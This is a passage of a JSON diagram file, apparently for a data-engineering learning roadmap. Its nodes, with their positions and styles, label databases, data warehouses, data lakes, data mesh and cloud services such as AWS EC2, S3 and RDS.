\"height\": 49,\n      \"style\": { \"width\": 166 },\n      \"measured\": { \"width\": 172, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"QYR8ESN7xhi4ZxcoiZbgn\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -530.6381872719935, \"y\": 1363.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cassandra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"04V0Bcgjusfqdw0b-Aw4W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ltZftFsiOo12AkQ-04N3B\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -530.6381872719935, \"y\": 1416.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BigTable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_F53cV3ln2yu0ics5BFfx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Uho9OOWSG0bUpyH4P6hKk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -530.6381872719935, \"y\": 1469.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"HBase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"goL_GqVVTVxXQMGBw992b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"L6x750gKlyyu0uoNVEmvA\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 229.3618127280065, \"y\": 1331.400748222349 },\n      \"width\": 181,\n      \"height\": 201,\n      \"style\": { \"width\": 166, \"height\": 248.5 },\n      \"selected\": true,\n      \"data\": {\n        \"oldId\": \"d5xaU63Vja_LM1-1wi6UY\",\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 181, \"height\": 201 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"aZKsPtpDxVH3fkxTHycDN\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 69.3618127280065, \"y\": 1331.400748222349 },\n      \"width\": 170,\n      \"height\": 201,\n      \"style\": { \"width\": 166, \"height\": 248.5 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"7mK4gn7IQIyk43TPSni85\"\n      },\n      \"measured\": { \"width\": 170, \"height\": 201 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"W6RnhoD7fW2xzVwnyJEDr\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 69.3618127280065, \"y\": 1305.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"SuHHSWAIiiVg2TY3rBIPD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": { \"width\": 166 },\n      \"measured\": { \"width\": 169, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TG63YRbSKL1F9vlUVF1VY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 80.3618127280065, \"y\": 1362.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Neo4j\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"04V0Bcgjusfqdw0b-Aw4W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"atAK4zGXIbxZvfBTzFEIe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 80.3618127280065, \"y\": 1415.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Neptune\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_F53cV3ln2yu0ics5BFfx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fSlBjoNVKstJjWO7rS69V\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 234.3618127280065, \"y\": 1305.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Key-Value\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"fBD6ZQoMac8w4kMJw_Jrd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": { \"width\": 166 },\n      \"measured\": { \"width\": 177, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dW_eC4vR8BrvKG9wxmEBc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 249.3618127280065, \"y\": 1363.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QYR8ESN7xhi4ZxcoiZbgn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KYUh29Ok1aeOviboGDS_i\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 249.3618127280065, \"y\": 1416.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Memcached\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ltZftFsiOo12AkQ-04N3B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BDfpCDOxXZ-Tp0Abj_CVW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 249.3618127280065, \"y\": 1469.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DynamoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"omrg8QcYmTdQLBKV47b7o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kyzJSTdysN2GHThy2JTxb\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -284.7574861060384, \"y\": 1435.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Warehousing\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"Eb27y_lyYTsfxK5heaMDJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 229, \"height\": 67 },\n      \"dragging\": false,\n      \"width\": 229,\n      \"height\": 67,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dc3lJI27hJ3zZ45UCVqM1\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -320.2574861060384, \"y\": 1576.6649061275948 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Data Warehouse?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"J854xPM1X0BWlhtJw7Hs_\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -320.2574861060384, \"y\": 1629.6649061275948 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Warehousing Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ArOoKuf9scAURs8NRjAru\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -693.148604855875, \"y\": 1629.8240491558859 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Warehouse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"D7qtosIbsQuIY3OWl_Hwc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 238 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Je2in1n8bMaknyeH79Zbv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.148604855875, \"y\": 1686.8240491558859 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google BigQuery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"W3l1_66fsIqR3MqgBJUmU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.148604855875, \"y\": 1739.8240491558859 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Snowflake\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"omrg8QcYmTdQLBKV47b7o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"omrg8QcYmTdQLBKV47b7o\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.148604855875, \"y\": 1792.8240491558859 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Amazon Redshift\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Uho9OOWSG0bUpyH4P6hKk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"c6Pf3kFcC4iV4a7mPc-WH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 70.20882216613953, \"y\": 1630.884251492326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Mart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"D7qtosIbsQuIY3OWl_Hwc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 238 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"y0Lxz_wVyQ6lr1hvCsufa\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -693.7786555245802, \"y\": 1853.5882070611324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Lake\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"D7qtosIbsQuIY3OWl_Hwc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 238 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fhfyoWekmYvEs-jdP2mJo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.7786555245802, \"y\": 1910.5882070611324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Databricks Delta Lake\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Pf0_CBGkmSEfWDQ2_iFXr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.7786555245802, \"y\": 1963.5882070611326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Snowflake\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"senZEYC9k-C_C4EAYDNeU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -685.7786555245802, \"y\": 2016.5882070611324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Onehouse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 222, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"D7qtosIbsQuIY3OWl_Hwc\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 215.94809277042606, \"y\": 1630.884251492326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Mesh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"SuHHSWAIiiVg2TY3rBIPD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": { \"width\": 238 },\n      \"measured\": { \"width\": 187, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Jm0e9elKDVbgPzUZrDF0C\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 119.43935983785141, \"y\": 1691.938370476192 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Other Data Architectures\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 207, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-x3QLMYhC67VJQ6EW6BrJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 82.93935983785141, \"y\": 1734.938370476192 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Fabric\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n_KJkm6wet6yUdFGfpE8s\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": { \"width\": 250 },\n      \"measured\": { \"width\": 142, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OiWleAdMbPtisrJpk2eSJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 229.44809277042606, \"y\": 1734.938370476192 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Hub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n_KJkm6wet6yUdFGfpE8s\"\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": { \"width\": 250 },\n      \"measured\": { \"width\": 161, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"14CycunRC1p2qTRn-ncoy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 82.93935983785141, \"y\": 1787.972062204014 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metadata-first Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n_KJkm6wet6yUdFGfpE8s\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": { \"width\": 280 },\n      \"measured\": { \"width\": 308, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZnGX8pg4GagdSalg_P0oq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 82.93935983785141, \"y\": 1840.972062204014 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Serverless Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n_KJkm6wet6yUdFGfpE8s\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": { \"width\": 280 },\n      \"measured\": { \"width\": 308, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"lDeSL9qvgQgyAMcWXF7Fr\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -297.33024547901266, \"y\": 1920.0882070611324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Computing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 253, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YLfyb_ycgz1hu0yW8SPNE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 98.21595716364237, \"y\": 1942.8844879677877 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n_KJkm6wet6yUdFGfpE8s\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": { \"width\": 251 },\n      \"measured\": { \"width\": 305, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eX4gnGnvptJ6JuR-fC5bf\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 181.71595716364237, \"y\": 2807.378035637179 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Providers\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"jYqySUu-SEiH5wlJnucLO\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 138, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8cdzuaPx2PEPI2dpKGcW-\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 225.21595716364237, \"y\": 2230.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"OL5nd9q0nF8alYjn6U8Qk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 51, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AHLsBfPfBJOhLlJ-64GcK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2011.7228323023783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Amazon EC2 ( Compute)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BNGdJSmrNE90rwPa4JoWj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tbut25IZI2aU7TkI9fFYV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2064.7228323023783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"S3 (Storage)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nD36-PXHzOXePM7j9u_O_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GtFk7phYGfXUhxanicYNQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2117.7228323023783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Amazon RDS (Database)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nD36-PXHzOXePM7j9u_O_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nD36-PXHzOXePM7j9u_O_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2170.7228323023783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Amazon RDS (Database)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-yi-xk-kv0njW9GdytiAQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2281.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Azure Virtual Machines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gzbEGCUwMsD1gL4nW668g\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2334.322840240036 },\n      \"selected\": true,\n      \"selectable\": 